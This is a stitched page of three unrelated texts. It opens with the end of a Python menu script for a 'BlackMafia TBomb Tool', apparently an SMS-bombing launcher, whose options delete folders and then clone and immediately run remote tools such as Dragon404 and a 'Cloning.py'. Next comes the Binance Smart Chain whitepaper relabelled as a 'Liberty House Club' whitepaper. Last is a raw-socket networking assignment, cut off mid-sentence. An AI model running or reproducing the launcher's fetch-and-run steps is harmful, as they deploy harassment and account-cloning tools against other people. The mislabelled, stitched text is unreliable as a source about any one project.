BlackMafia TBomb Tool Has Been Installed Successfully") love("Now you can open this tool as usual") time.sleep(5) os.system("cd $HOME/sms && bash BlackMafia.sh") elif black =="W" or black =="w": clear() print(logo) love("Welcome To B4 BALOCH M4 MASTER WhatsApp Group") time.sleep(5) os.system('xdg-open https://chat.whatsapp.com/BcmyQPBz6lz3t6oVN8wLoi') elif black =="X" or black =="x": clear() print(logo) love("Welcome To B4 BALOCH 2nd Tool") love("BlackMafia 2nd Tool Start") love("Coming Soon New Update") time.sleep(5) os.system("rm -rf $HOME/Dragon404") os.system("cd $HOME && git clone https://github.com/lovehacker404/Dragon404") print (logo) love("\033[1;96mCongratulations Dragon404 Tool Has Been Installed Successfully") love("Wellcom to Dragon404 tool") os.system("cd $HOME/Dragon404 && python2 lovehacker.py") elif black =="Y" or black =="y": clear() print(logo) os.system("rm -rf $HOME/World") os.system("pip install lolcat") os.system("cd $HOME && git clone https://github.com/lovehacker404/World") print (logo) love("\033[1;96mCongratulations BlackMafia Tool Has Been Update Successfully") time.sleep(5) os.system("cd $HOME/World && python2 Cloning.py") elif black =="Z" or black =="z": os.system("exit") if __name__ == "__main__": menu()
Mdshobu / Liberty House Club Whitepaper# Liberty House Club **A Parallel Binance Chain to Enable Smart Contracts** _NOTE: This document is under development. Please check regularly for updates!_ ## Table of Contents - [Motivation](#motivation) - [Design Principles](#design-principles) - [Consensus and Validator Quorum](#consensus-and-validator-quorum) * [Proof of Staked Authority](#proof-of-staked-authority) * [Validator Quorum](#validator-quorum) * [Security and Finality](#security-and-finality) * [Reward](#reward) - [Token Economy](#token-economy) * [Native Token](#native-token) * [Other Tokens](#other-tokens) - [Cross-Chain Transfer and Communication](#cross-chain-transfer-and-communication) * [Cross-Chain Transfer](#cross-chain-transfer) * [BC to BSC Architecture](#bc-to-bsc-architecture) * [BSC to BC Architecture](#bsc-to-bc-architecture) * [Timeout and Error Handling](#timeout-and-error-handling) * [Cross-Chain User Experience](#cross-chain-user-experience) * [Cross-Chain Contract Event](#cross-chain-contract-event) - [Staking and Governance](#staking-and-governance) * [Staking on BC](#staking-on-bc) * [Rewarding](#rewarding) * [Slashing](#slashing) - [Relayers](#relayers) * [BSC Relayers](#bsc-relayers) * [Oracle Relayers](#oracle-relayers) - [Outlook](#outlook) # Motivation After its mainnet community [launch](https://www.binance.com/en/blog/327334696200323072/Binance-DEX-Launches-on-Binance-Chain-Invites-Further-Community-Development) in April 2019, [Binance Chain](https://www.binance.org) has exhibited its high speed and large throughput design. Binance Chain’s primary focus, its native [decentralized application](https://en.wikipedia.org/wiki/Decentralized_application) (“dApp”) [Binance DEX](https://www.binance.org/trade), has demonstrated its low-latency matching with large capacity headroom by handling millions of trading volume in a short time. Flexibility and usability are often in an inverse relationship with performance. The concentration on providing a convenient digital asset issuing and trading venue also brings limitations. Binance Chain's most requested feature is the programmable extendibility, or simply the [Smart Contract](https://en.wikipedia.org/wiki/Smart_contract) and Virtual Machine functions. Digital asset issuers and owners struggle to add new decentralized features for their assets or introduce any sort of community governance and activities. Despite this high demand for adding the Smart Contract feature onto Binance Chain, it is a hard decision to make. The execution of a Smart Contract may slow down the exchange function and add non-deterministic factors to trading. If that compromise could be tolerated, it might be a straightforward idea to introduce a new Virtual Machine specification based on [Tendermint](https://tendermint.com/core/), based on the current underlying consensus protocol and major [RPC](https://docs.binance.org/api-reference/node-rpc.html) implementation of Binance Chain. But all these will increase the learning requirements for all existing dApp communities, and will not be very welcomed. We propose a parallel blockchain of the current Binance Chain to retain the high performance of the native DEX blockchain and to support a friendly Smart Contract function at the same time. # Design Principles After the creation of the parallel blockchain into the Binance Chain ecosystem, two blockchains will run side by side to provide different services. The new parallel chain will be called “**Binance Smart Chain**” (short as “**BSC**” for the below sections), while the existing mainnet remains named “**Binance Chain**” (short as “**BC**” for the below sections). Here are the design principles of **BSC**: 1. **Standalone Blockchain**: technically, BSC is a standalone blockchain, instead of a layer-2 solution. Most BSC fundamental technical and business functions should be self-contained so that it can run well even if the BC stopped for a short period. 2. **Ethereum Compatibility**: The first practical and widely-used Smart Contract platform is Ethereum. To take advantage of the relatively mature applications and community, BSC chooses to be compatible with the existing Ethereum mainnet. This means most of the **dApps**, ecosystem components, and toolings will work with BSC and require zero or minimum changes; BSC node will require similar (or a bit higher) hardware specification and skills to run and operate. The implementation should leave room for BSC to catch up with further Ethereum upgrades. 3. **Staking Involved Consensus and Governance**: Staking-based consensus is more environmentally friendly and leaves more flexible option to the community governance. Expectedly, this consensus should enable better network performance over [proof-of-work](https://en.wikipedia.org/wiki/Proof_of_work) blockchain system, i.e., faster blocking time and higher transaction capacity. 4. **Native Cross-Chain Communication**: both BC and BSC will be implemented with native support for cross-chain communication among the two blockchains. The communication protocol should be bi-directional, decentralized, and trustless. It will concentrate on moving digital assets between BC and BSC, i.e., [BEP2](https://github.com/binance-chain/BEPs/blob/master/BEP2.md) tokens, and eventually, other BEP tokens introduced later. The protocol should care for the minimum of other items stored in the state of the blockchains, with only a few exceptions. # Consensus and Validator Quorum Based on the above design principles, the consensus protocol of BSC is to fulfill the following goals: 1. Blocking time should be shorter than Ethereum network, e.g. 5 seconds or even shorter. 2. It requires limited time to confirm the finality of transactions, e.g. around 1-min level or shorter. 3. There is no inflation of native token: BNB, the block reward is collected from transaction fees, and it will be paid in BNB. 4. It is compatible with Ethereum system as much as possible. 5. It allows modern [proof-of-stake](https://en.wikipedia.org/wiki/Proof_of_stake) blockchain network governance. ## Proof of Staked Authority Although Proof-of-Work (PoW) has been recognized as a practical mechanism to implement a decentralized network, it is not friendly to the environment and also requires a large size of participants to maintain the security. Ethereum and some other blockchain networks, such as [MATIC Bor](https://github.com/maticnetwork/bor), [TOMOChain](https://tomochain.com/), [GoChain](https://gochain.io/), [xDAI](https://xdai.io/), do use [Proof-of-Authority(PoA)](https://en.wikipedia.org/wiki/Proof_of_authority) or its variants in different scenarios, including both testnet and mainnet. PoA provides some defense to 51% attack, with improved efficiency and tolerance to certain levels of Byzantine players (malicious or hacked). It serves as an easy choice to pick as the fundamentals. Meanwhile, the PoA protocol is most criticized for being not as decentralized as PoW, as the validators, i.e. the nodes that take turns to produce blocks, have all the authorities and are prone to corruption and security attacks. Other blockchains, such as EOS and Lisk both, introduce different types of [Delegated Proof of Stake (DPoS)](https://en.bitcoinwiki.org/wiki/DPoS) to allow the token holders to vote and elect the validator set. It increases the decentralization and favors community governance. BSC here proposes to combine DPoS and PoA for consensus, so that: 1. Blocks are produced by a limited set of validators 2. Validators take turns to produce blocks in a PoA manner, similar to [Ethereum’s Clique](https://eips.ethereum.org/EIPS/eip-225) consensus design 3. Validator set are elected in and out based on a staking based governance ## Validator Quorum In the genesis stage, a few trusted nodes will run as the initial Validator Set. After the blocking starts, anyone can compete to join as candidates to elect as a validator. The staking status decides the top 21 most staked nodes to be the next validator set, and such an election will repeat every 24 hours. **BNB** is the token used to stake for BSC. In order to remain as compatible as Ethereum and upgradeable to future consensus protocols to be developed, BSC chooses to rely on the **BC** for staking management (Please refer to the below “[Staking and Governance](#staking-and-governance)” section). There is a **dedicated staking module for BSC on BC**. It will accept BSC staking from BNB holders and calculate the highest staked node set. Upon every UTC midnight, BC will issue a verifiable `ValidatorSetUpdate` cross-chain message to notify BSC to update its validator set. While producing further blocks, the existing BSC validators check whether there is a `ValidatorSetUpdate` message relayed onto BSC periodically. If there is, they will update the validator set after an **epoch period**, i.e. a predefined number of blocking time. For example, if BSC produces a block every 5 seconds, and the epoch period is 240 blocks, then the current validator set will check and update the validator set for the next epoch in 1200 seconds (20 minutes). ## Security and Finality Given there are more than ½\*N+1 validators are honest, PoA based networks usually work securely and properly. However, there are still cases where certain amount Byzantine validators may still manage to attack the network, e.g. through the “[Clone Attack](https://arxiv.org/pdf/1902.10244.pdf)”. To secure as much as BC, BSC users are encouraged to wait until receiving blocks sealed by more than ⅔\*N+1 different validators. In that way, the BSC can be trusted at a similar security level to BC and can tolerate less than ⅓\*N Byzantine validators. With 21 validators, if the block time is 5 seconds, the ⅔\*N+1 different validator seals will need a time period of (⅔\*21+1)*5 = 75 seconds. Any critical applications for BSC may have to wait for ⅔\*N+1 to ensure a relatively secure finality. However, besides such arrangement, BSC does introduce **Slashing** logic to penalize Byzantine validators for **double signing** or **inavailability**, which will be covered in the “Staking and Governance” section later. This Slashing logic will expose the malicious validators in a very short time and make the “Clone Attack” very hard or extremely non-beneficial to execute. With this enhancement, ½\*N+1 or even fewer blocks are enough as confirmation for most transactions. ## Reward All the BSC validators in the current validator set will be rewarded with transaction **fees in BNB**. As BNB is not an inflationary token, there will be no mining rewards as what Bitcoin and Ethereum network generate, and the gas fee is the major reward for validators. As BNB is also utility tokens with other use cases, delegators and validators will still enjoy other benefits of holding BNB. The reward for validators is the fees collected from transactions in each block. Validators can decide how much to give back to the delegators who stake their BNB to them, in order to attract more staking. Every validator will take turns to produce the blocks in the same probability (if they stick to 100% liveness), thus, in the long run, all the stable validators may get a similar size of the reward. Meanwhile, the stakes on each validator may be different, so this brings a counter-intuitive situation that more users trust and delegate to one validator, they potentially get less reward. So rational delegators will tend to delegate to the one with fewer stakes as long as the validator is still trustful (insecure validator may bring slashable risk). In the end, the stakes on all the validators will have less variation. This will actually prevent the stake concentration and “winner wins forever” problem seen on some other networks. Some parts of the gas fee will also be rewarded to relayers for Cross-Chain communication. Please refer to the “[Relayers](#relayers)” section below. # Token Economy BC and BSC share the same token universe for BNB and BEP2 tokens. This defines: 1. The same token can circulate on both networks, and flow between them bi-directionally via a cross-chain communication mechanism. 2. The total circulation of the same token should be managed across the two networks, i.e. the total effective supply of a token should be the sum of the token’s total effective supply on both BSC and BC. 3. The tokens can be initially created on BSC in a similar format as ERC20 token standard, or on BC as a BEP2, then created on the other. There are native ways on both networks to link the two and secure the total supply of the token. ## Native Token BNB will run on BSC in the same way as ETH runs on Ethereum so that it remains as “native token” for both BSC and BC. This means, in addition to BNB is used to pay most of the fees on Binance Chain and Binance DEX, BNB will be also used to: 1. pay “fees“ to deploy smart contracts on BSC 2. stake on selected BSC validators, and get corresponding rewards 3. perform cross-chain operations, such as transfer token assets across BC and BSC ### Seed Fund Certain amounts of BNB will be burnt on BC and minted on BSC during its genesis stage. This amount is called “Seed Fund” to circulate on BSC after the first block, which will be dispatched to the initial BC-to-BSC Relayer(described in later sections) and initial validator set introduced at genesis. These BNBs are used to pay transaction fees in the early stage to transfer more BNB from BC onto BSC via the cross-chain mechanism. The BNB cross-chain transfer is discussed in a later section, but for BC to BSC transfer, it is generally to lock BNB on BC from the source address of the transfer to a system-controlled address and unlock the corresponding amount from special contract to the target address of the transfer on BSC, or reversely, when transferring from BSC to BC, it is to lock BNB from the source address on BSC into a special contract and release locked amount on BC from the system address to the target address. The logic is related to native code on BC and a series of smart contracts on BSC. ## Other Tokens BC supports BEP2 tokens and upcoming [BEP8 tokens](https://github.com/binance-chain/BEPs/pull/69), which are native assets transferrable and tradable (if listed) via fast transactions and sub-second finality. Meanwhile, as BSC is Ethereum compatible, it is natural to support ERC20 tokens on BSC, which here is called “**BEP2E**” (with the real name to be introduced by the future BEPs,it potentially covers BEP8 as well). BEP2E may be “Enhanced” by adding a few more methods to expose more information, such as token denomination, decimal precision definition and the owner address who can decide the Token Binding across the chains. BSC and BC work together to ensure that one token can circulate in both formats with confirmed total supply and be used in different use cases. ### Token Binding BEP2 tokens will be extended to host a new attribute to associate the token with a BSC BEP2E token contract, called “**Binder**”, and this process of association is called “**Token Binding**”. Token Binding can happen at any time after BEP2 and BEP2E are ready. The token owners of either BEP2 or BEP2E don’t need to bother about the Binding, until before they really want to use the tokens on different scenarios. Issuers can either create BEP2 first or BEP2E first, and they can be bound at a later time. Of course, it is encouraged for all the issuers of BEP2 and BEP2E to set the Binding up early after the issuance. A typical procedure to bind the BEP2 and BEP2E will be like the below: 1. Ensure both the BEP2 token and the BEP2E token both exist on each blockchain, with the same total supply. BEP2E should have 3 more methods than typical ERC20 token standard: * symbol(): get token symbol * decimals(): get the number of the token decimal digits * owner(): get **BEP2E contract owner’s address.** This value should be initialized in the BEP2E contract constructor so that the further binding action can verify whether the action is from the BEP2E owner. 2. Decide the initial circulation on both blockchains. Suppose the total supply is *S*, and the expected initial circulating supply on BC is *K*, then the owner should lock S-K tokens to a system controlled address on BC. 3. Equivalently, *K* tokens is locked in the special contract on BSC, which handles major binding functions and is named as **TokenHub**. The issuer of the BEP2E token should lock the *K* amount of that token into TokenHub, resulting in *S-K* tokens to circulate on BSC. Thus the total circulation across 2 blockchains remains as *S*. 4. The issuer of BEP2 token sends the bind transaction on BC. Once the transaction is executed successfully after proper verification: * It transfers *S-K* tokens to a system-controlled address on BC. * A cross-chain bind request package will be created, waiting for Relayers to relay. 5. BSC Relayers will relay the cross-chain bind request package into **TokenHub** on BSC, and the corresponding request and information will be stored into the contract. 6. The contract owner and only the owner can run a special method of TokenHub contract, `ApproveBind`, to verify the binding request to mark it as a success. It will confirm: * the token has not been bound; * the binding is for the proper symbol, with proper total supply and decimal information; * the proper lock are done on both networks; 10. Once the `ApproveBind` method has succeeded, TokenHub will mark the two tokens are bounded and share the same circulation on BSC, and the status will be propagated back to BC. After this final confirmation, the BEP2E contract address and decimals will be written onto the BEP2 token as a new attribute on BC, and the tokens can be transferred across the two blockchains bidirectionally. If the ApproveBind fails, the failure event will also be propagated back to BC to release the locked tokens, and the above steps can be re-tried later. # Cross-Chain Transfer and Communication Cross-chain communication is the key foundation to allow the community to take advantage of the dual chain structure: * users are free to create any tokenization, financial products, and digital assets on BSC or BC as they wish * the items on BSC can be manually and programmingly traded and circulated in a stable, high throughput, lighting fast and friendly environment of BC * users can operate these in one UI and tooling ecosystem. ## Cross-Chain Transfer The cross-chain transfer is the key communication between the two blockchains. Essentially the logic is: 1. the `transfer-out` blockchain will lock the amount from source owner addresses into a system controlled address/contracts; 2. the `transfer-in` blockchain will unlock the amount from the system controlled address/contracts and send it to target addresses. The cross-chain transfer package message should allow the BSC Relayers and BC **Oracle Relayers** to verify: 1. Enough amount of token assets are removed from the source address and locked into a system controlled addresses/contracts on the source blockchain. And this can be confirmed on the target blockchain. 2. Proper amounts of token assets are released from a system controlled addresses/contracts and allocated into target addresses on the target blockchain. If this fails, it can be confirmed on source blockchain, so that the locked token can be released back (may deduct fees). 3. The sum of the total circulation of the token assets across the 2 blockchains are not changed after this transfer action completes, no matter if the transfer succeeds or not.  The architecture of cross-chain communication is as in the above diagram. To accommodate the 2 heteroid systems, communication handling is different in each direction. ## BC to BSC Architecture BC is a Tendermint-based, instant finality blockchain. Validators with at least ⅔\*N+1 of the total voting power will co-sign each block on the chain. So that it is practical to verify the block transactions and even the state value via **Block Header** and **Merkle Proof** verification. This has been researched and implemented as “**Light-Client Protocol**”, which are intensively discussed in [the Ethereum](https://github.com/ethereum/wiki/wiki/Light-client-protocol) community, studied and implemented for [Cosmos inter-chain communication](https://github.com/cosmos/ics/blob/a4173c91560567bdb7cc9abee8e61256fc3725e9/spec/ics-007-tendermint-client/README.md). BC-to-BSC communication will be verified in an “**on-chain light client**” implemented via BSC **Smart Contracts** (some of them may be **“pre-compiled”**). After some transactions and state change happen on BC, if a transaction is defined to trigger cross-chain communication,the Cross-chain “**package**” message will be created and **BSC Relayers** will pass and submit them onto BSC as data into the "build-in system contracts". The build-in system contracts will verify the package and execute the transactions if it passes the verification. The verification will be guaranteed with the below design: 1. BC blocking status will be synced to the light client contracts on BSC from time to time, via block header and pre-commits, for the below information: * block and app hash of BC that are signed by validators * current validatorset, and validator set update 2. the key-value from the blockchain state will be verified based on the Merkle Proof and information from above #1. After confirming the key-value is accurate and trustful, the build-in system contracts will execute the actions corresponding to the cross-chain packages. Some examples of such packages that can be created for BC-to-BSC are: 1. Bind: bind the BEP2 tokens and BEP2E 2. Transfer: transfer tokens after binding, this means the circulation will decrease (be locked) from BC and appear in the target address balance on BSC 3. Error Handling: to handle any timeout/failure event for BSC-to-BC communication 4. Validatorset update of BSC To ensure no duplication, proper message sequence and timely timeout, there is a “Channel” concept introduced on BC to manage any types of the communication. For relayers, please also refer to the below “Relayers” section. ## BSC to BC Architecture BSC uses Proof of Staked Authority consensus protocol, which has a chance to fork and requires confirmation of more blocks. One block only has the signature of one validator, so that it is not easy to rely on one block to verify data from BSC. To take full advantage of validator quorum of BC, an idea similar to many [Bridge ](https://github.com/poanetwork/poa-bridge)or Oracle blockchains is adopted: 1. The cross-chain communication requests from BSC will be submitted and executed onto BSC as transactions. The execution of the transanction wil emit `Events`, and such events can be observed and packaged in certain “**Oracle**” onto BC. Instead of Block Headers, Hash and Merkle Proof, this type of “Oracle” package directly contains the cross-chain information for actions, such as sender, receiver and amount for transfer. 2. To ensure the security of the Oracle, the validators of BC will form anothe quorum of “**Oracle Relayers**”. Each validator of the BC should run a **dedicated process** as the Oracle Relayer. These Oracle Relayers will submit and vote for the cross-chain communication package, like Oracle, onto BC, using the same validator keys. Any package signed by more than ⅔\*N+1 Oracle Relayers’ voting power is as secure as any block signed by ⅔\*N+1 of the same quorum of validators’ voting power. By using the same validator quorum, it saves the light client code on BC and continuous block updates onto BC. Such Oracles also have Oracle IDs and types, to ensure sequencing and proper error handling. ## Timeout and Error Handling There are scenarios that the cross-chain communication fails. For example, the relayed package cannot be executed on BSC due to some coding bug in the contracts. **Timeout and error handling logics are** used in such scenarios. For the recognizable user and system errors or any expected exceptions, the two networks should heal themselves. For example, when BC to BSC transfer fails, BSC will issue a failure event and Oracle Relayers will execute a refund on BC; when BSC to BC transfer fails, BC will issue a refund package for Relayer to relay in order to unlock the fund. However, unexpected error or exception may still happen on any step of the cross-chain communication. In such a case, the Relayers and Oracle Relayers will discover that the corresponding cross-chain channel is stuck in a particular sequence. After a Timeout period, the Relayers and Oracle Relayers can request a “SkipSequence” transaction, the stuck sequence will be marked as “Unexecutable”. A corresponding alerts will be raised, and the community has to discuss how to handle this scenario, e.g. payback via the sponsor of the validators, or event clear the fund during next network upgrade. ## Cross-Chain User Experience Ideally, users expect to use two parallel chains in the same way as they use one single chain. It requires more aggregated transaction types to be added onto the cross-chain communication to enable this, which will add great complexity, tight coupling, and maintenance burden. Here BC and BSC only implement the basic operations to enable the value flow in the initial launch and leave most of the user experience work to client side UI, such as wallets. E.g. a great wallet may allow users to sell a token directly from BSC onto BC’s DEX order book, in a secure way. ## Cross-Chain Contract Event Cross-Chain Contract Event (CCCE) is designed to allow a smart contract to trigger cross-chain transactions, directly through the contract code. This becomes possible based on: 1. Standard system contracts can be provided to serve operations callable by general smart contracts; 2. Standard events can be emitted by the standard contracts; 3. Oracle Relayers can capture the standard events, and trigger the corresponding cross-chain operations; 4. Dedicated, code-managed address (account) can be created on BC and accessed by the contracts on the BSC, here it is named as **“Contract Address on BC” (CAoB)**. Several standard operations are implemented: 1. BSC to BC transfer: this is implemented in the same way as normal BSC to BC transfer, by only triggered via standard contract. The fund can be transferred to any addresses on BC, including the corresponding CAoB of the transfer originating contract. 2. Transfer on BC: this is implemented as a special cross-chain transfer, while the real transfer is from **CAoB** to any other address (even another CAoB). 3. BC to BSC transfer: this is implemented as two-pass cross-chain communication. The first is triggered by the BSC contract and propagated onto BC, and then in the second pass, BC will start a normal BC to BSC cross-chain transfer, from **CAoB** to contract address on BSC. A special note should be paid on that the BSC contract only increases balance upon any transfer coming in on the second pass, and the error handling in the second pass is the same as the normal BC to BSC transfer. 4. IOC (Immediate-Or-Cancel) Trade Out: the primary goal of transferring assets to BC is to trade. This event will instruct to trade a certain amount of an asset in CAoB into another asset as much as possible and transfer out all the results, i.e. the left the source and the traded target tokens of the trade, back to BSC. BC will handle such relayed events by sending an “Immediate-Or-Cancel”, i.e. IOC order onto the trading pairs, once the next matching finishes, the result will be relayed back to BSC, which can be in either one or two assets. 5. Auction Trade Out: Such event will instruct BC to send an auction order to trade a certain amount of an asset in **CAoB** into another asset as much as possible and transfer out all the results back to BSC at the end of the auction. Auction function is upcoming on BC. There are some details for the Trade Out: 1. both can have a limit price (absolute or relative) for the trade; 2. the end result will be written as cross-chain packages to relay back to BSC; 3. cross-chain communication fees may be charged from the asset transferred back to BSC; 4. BSC contract maintains a mirror of the balance and outstanding orders on CAoB. No matter what error happens during the Trade Out, the final status will be propagated back to the originating contract and clear its internal state. With the above features, it simply adds the cross-chain transfer and exchange functions with high liquidity onto all the smart contracts on BSC. It will greatly add the application scenarios on Smart Contract and dApps, and make 1 chain +1 chain > 2 chains. # Staking and Governance Proof of Staked Authority brings in decentralization and community involvement. Its core logic can be summarized as the below. You may see similar ideas from other networks, especially Cosmos and EOS. 1. Token holders, including the validators, can put their tokens “**bonded**” into the stake. Token holders can **delegate** their tokens onto any validator or validator candidate, to expect it can become an actual validator, and later they can choose a different validator or candidate to **re-delegate** their tokens<sup>1</sup>. 2. All validator candidates will be ranked by the number of bonded tokens on them, and the top ones will become the real validators. 3. Validators can share (part of) their blocking reward with their delegators. 4. Validators can suffer from “**Slashing**”, a punishment for their bad behaviors, such as double sign and/or instability. 5. There is an “**unbonding period**” for validators and delegators so that the system makes sure the tokens remain bonded when bad behaviors are caught, the responsible will get slashed during this period. ## Staking on BC Ideally, such staking and reward logic should be built into the blockchain, and automatically executed as the blocking happens. Cosmos Hub, who shares the same Tendermint consensus and libraries with Binance Chain, works in this way. BC has been preparing to enable staking logic since the design days. On the other side, as BSC wants to remain compatible with Ethereum as much as possible, it is a great challenge and efforts to implement such logic on it. This is especially true when Ethereum itself may move into a different Proof of Stake consensus protocol in a short (or longer) time. In order to keep the compatibility and reuse the good foundation of BC, the staking logic of BSC is implemented on BC: 1. The staking token is BNB, as it is a native token on both blockchains anyway 2. The staking, i.e. token bond and delegation actions and records for BSC, happens on BC. 3. The BSC validator set is determined by its staking and delegation logic, via a staking module built on BC for BSC, and propagated every day UTC 00:00 from BC to BSC via Cross-Chain communication. 4. The reward distribution happens on BC around every day UTC 00:00. ## Rewarding Both the validator update and reward distribution happen every day around UTC 00:00. This is to save the cost of frequent staking updates and block reward distribution. This cost can be significant, as the blocking reward is collected on BSC and distributed on BC to BSC validators and delegators. (Please note BC blocking fees will remain rewarding to BC validators only.) A deliberate delay is introduced here to make sure the distribution is fair: 1. The blocking reward will not be sent to validator right away, instead, they will be distributed and accumulated on a contract; 2. Upon receiving the validator set update into BSC, it will trigger a few cross-chain transfers to transfer the reward to custody addresses on the corresponding validators. The custody addresses are owned by the system so that the reward cannot be spent until the promised distribution to delegators happens. 3. In order to make the synchronization simpler and allocate time to accommodate slashing, the reward for N day will be only distributed in N+2 days. After the delegators get the reward, the left will be transferred to validators’ own reward addresses. ## Slashing Slashing is part of the on-chain governance, to ensure the malicious or negative behaviors are punished. BSC slash can be submitted by anyone. The transaction submission requires **slash evidence** and cost fees but also brings a larger reward when it is successful. So far there are two slashable cases. ### Double Sign It is quite a serious error and very likely deliberate offense when a validator signs more than one block with the same height and parent block. The reference protocol implementation should already have logic to prevent this, so only the malicious code can trigger this. When Double Sign happens, the validator should be removed from the Validator **Set** right away. Anyone can submit a slash request on BC with the evidence of Double Sign of BSC, which should contain the 2 block headers with the same height and parent block, sealed by the offending validator. Upon receiving the evidence, if the BC verifies it to be valid: 1. The validator will be removed from validator set by an instance BSC validator set update Cross-Chain update; 2. A predefined amount of BNB would be slashed from the **self-delegated** BNB of the validator; Both validator and its delegators will not receive the staking rewards. 3. Part of the slashed BNB will allocate to the submitter’s address, which is a reward and larger than the cost of submitting slash request transaction 4. The rest of the slashed BNB will allocate to the other validators’ custody addresses, and distributed to all delegators in the same way as blocking reward. ### Inavailability The liveness of BSC relies on everyone in the Proof of Staked Authority validator set can produce blocks timely when it is their turn. Validators can miss their turn due to any reason, especially problems in their hardware, software, configuration or network. This instability of the operation will hurt the performance and introduce more indeterministic into the system. There can be an internal smart contract responsible for recording the missed blocking metrics of each validator. Once the metrics are above the predefined threshold, the blocking reward for validator will not be relayed to BC for distribution but shared with other better validators. In such a way, the poorly-operating validator should be gradually voted out of the validator set as their delegators will receive less or none reward. If the metrics remain above another higher level of threshold, the validator will be dropped from the rotation, and this will be propagated back to BC, then a predefined amount of BNB would be slashed from the **self-delegated** BNB of the validator. Both validators and delegators will not receive their staking rewards. ### Governance Parameters There are many system parameters to control the behavior of the BSC, e.g. slash amount, cross-chain transfer fees. All these parameters will be determined by BSC Validator Set together through a proposal-vote process based on their staking. Such the process will be carried on BC, and the new parameter values will be picked up by corresponding system contracts via a cross-chain communication. # Relayers Relayers are responsible to submit Cross-Chain Communication Packages between the two blockchains. Due to the heterogeneous parallel chain structure, two different types of Relayers are created. ## BSC Relayers Relayers for BC to BSC communication referred to as “**BSC Relayers**”, or just simply “Relayers”. Relayer is a standalone process that can be run by anyone, and anywhere, except that Relayers must register themselves onto BSC and deposit a certain refundable amount of BNB. Only relaying requests from the registered Relayers will be accepted by BSC. The package they relay will be verified by the on-chain light client on BSC. The successful relay needs to pass enough verification and costs gas fees on BSC, and thus there should be incentive reward to encourage the community to run Relayers. ### Incentives There are two major communication types: 1. Users triggered Operations, such as `token bind` or `cross chain transfer`. Users must pay additional fee to as relayer reward. The reward will be shared with the relayers who sync the referenced blockchain headers. Besides, the reward won't be paid the relayers' accounts directly. A reward distribution mechanism will be brought in to avoid monopolization. 2. System Synchronization, such as delivering `refund package`(caused by failures of most oracle relayers), special blockchain header synchronization(header contains BC validatorset update), BSC staking package. System reward contract will pay reward to relayers' accounts directly. If some Relayers have faster networks and better hardware, they can monopolize all the package relaying and leave no reward to others. Thus fewer participants will join for relaying, which encourages centralization and harms the efficiency and security of the network. Ideally, due to the decentralization and dynamic re-election of BSC validators, one Relayer can hardly be always the first to relay every message. But in order to avoid the monopolization further, the rewarding economy is also specially designed to minimize such chance: 1. The reward for Relayers will be only distributed in batches, and one batch will cover a number of successful relayed packages. 2. The reward a Relayer can get from a batch distribution is not linearly in proportion to their number of successful relayed packages. Instead, except the first a few relays, the more a Relayer relays during a batch period, the less reward it will collect. ## Oracle Relayers Relayers for BSC to BC communication are using the “Oracle” model, and so-called “**Oracle Relayers**”. Each of the validators must, and only the ones of the validator set, run Oracle Relayers. Each Oracle Relayer watches the blockchain state change. Once it catches Cross-Chain Communication Packages, it will submit to vote for the requests. After Oracle Relayers from ⅔ of the voting power of BC validators vote for the changes, the cross-chain actions will be performed. Oracle Replayers should wait for enough blocks to confirm the finality on BSC before submitting and voting for the cross-chain communication packages onto BC. The cross-chain fees will be distributed to BC validators together with the normal BC blocking rewards. Such oracle type relaying depends on all the validators to support. As all the votes for the cross-chain communication packages are recorded on the blockchain, it is not hard to have a metric system to assess the performance of the Oracle Relayers. The poorest performer may have their rewards clawed back via another Slashing logic introduced in the future. # Outlook It is hard to conclude for Binance Chain, as it has never stopped evolving. The dual-chain strategy is to open the gate for users to take advantage of the fast transferring and trading on one side, and flexible and extendable programming on the other side, but it will be one stop along the development of Binance Chain. Here below are the topics to look into so as to facilitate the community better for more usability and extensibility: 1. Add different digital asset model for different business use cases 2. Enable more data feed, especially DEX market data, to be communicated from Binance DEX to BSC 3. Provide interface and compatibility to integrate with Ethereum, including its further upgrade, and other blockchain 4. Improve client side experience to manage wallets and use blockchain more conveniently ------ [1]: BNB business practitioners may provide other benefits for BNB delegators, as they do now for long term BNB holders.
SOYJUN / Application With Raw IP SocketsOverview For this assignment you will be developing an application that uses raw IP sockets to ‘walk’ around an ordered list of nodes (given as a command line argument at the ‘source’ node, which is the node at which the tour was initiated), in a manner similar to the IP SSRR (Strict Source and Record Route) option. At each node, the application pings the preceding node in the tour. However, unlike the ping code in Stevens, you will be sending the ping ICMP echo request messages through a SOCK_RAW-type PF_PACKET socket and implementing ARP functionality to find the Ethernet address of the target node. Finally, when the ‘walk’ is completed, the group of nodes visited on the tour will exchange multicast messages. Your code will consist of two process modules, a ‘Tour’ application module (which will implement all the functionality outlined above, except for ARP activity) and an ARP module. The following should prove to be useful reference material for the assignment: Sections 21.2, 21.3, 21.6 and 21.10, Chapter 21, on Multicasting. Sections 27.1 to 27.3, Chapter 27, on the IP SSRR option. Sections 28.1 to 28.5, Chapter 28, on raw sockets, the IP_HDRINCL socket option, and ping. Sections 15.5, Chapter 15, on Unix domain SOCK_STREAM sockets. Figure 29.14, p. 807, and the corresponding explanation on p. 806, on filling in an IP header when the IP_HDRINCL socket option is in effect. The Lecture Slides on ARP & RARP (especially Section 4.4, ARP Packet Format, and the Figure 4.3 it includes). The link http://www.pdbuchan.com/rawsock/rawsock.html contains useful code samples that use IP raw sockets and PF_PACKET sockets. Note, in partcular, the code “icmp4_ll.c” in Table 2 for building an echo request sent through a PF_PACKET SOCK_RAW socket. The VMware environment You will be using the same vm1 , . . . . . , vm10 nodes you used for Assignment 3. However, unlike Assignment 3, you should use only interfaces eth0 and their associated IP addresses and ignore the other Ethernet interfaces that nodes have (interfaces eth0 make vm1 , . . . . . , vm10 look as if they belong to the same Ethernet LAN segment IP network 130.245.156.0/24). Note that, apart from the primary IP addresses associated with interfaces eth0, some nodes might also have one or more alias IP addresses associated with their interface eth0. Tour application module specifications The application will create a total of four sockets: two IP raw sockets, a PF_PACKET socket and a UDP socket for multicasting. We shall call the two IP raw sockets the ‘rt ’ (‘route traversal’) and ‘pg ’ (‘ping’) sockets, respectively. The rt socket should have the IP_HDRINCL option set. You will only be receiving ICMP echo reply messages through the pg socket (and not sending echo requests), so it does not matter whether it has the IP_HDRINCL option set or not. The pg socket should have protocol value (i.e., protocol demultiplexing key in the IP header) IPPROTO_ICMP. The rt socket should have a protocol value that identifies the application - i.e., some value other than the IPPROTO_XXXX values in /usr/include/netinet/in.h. However, remember that you will all be running your code using the same root account on the vm1 , . . . . . , vm10 nodes. So if two of you happen to choose the same protocol value and happen to be running on the same vm node at the same time, your applications will receive each other’s IP packets. For that reason, try to choose a protocol value for 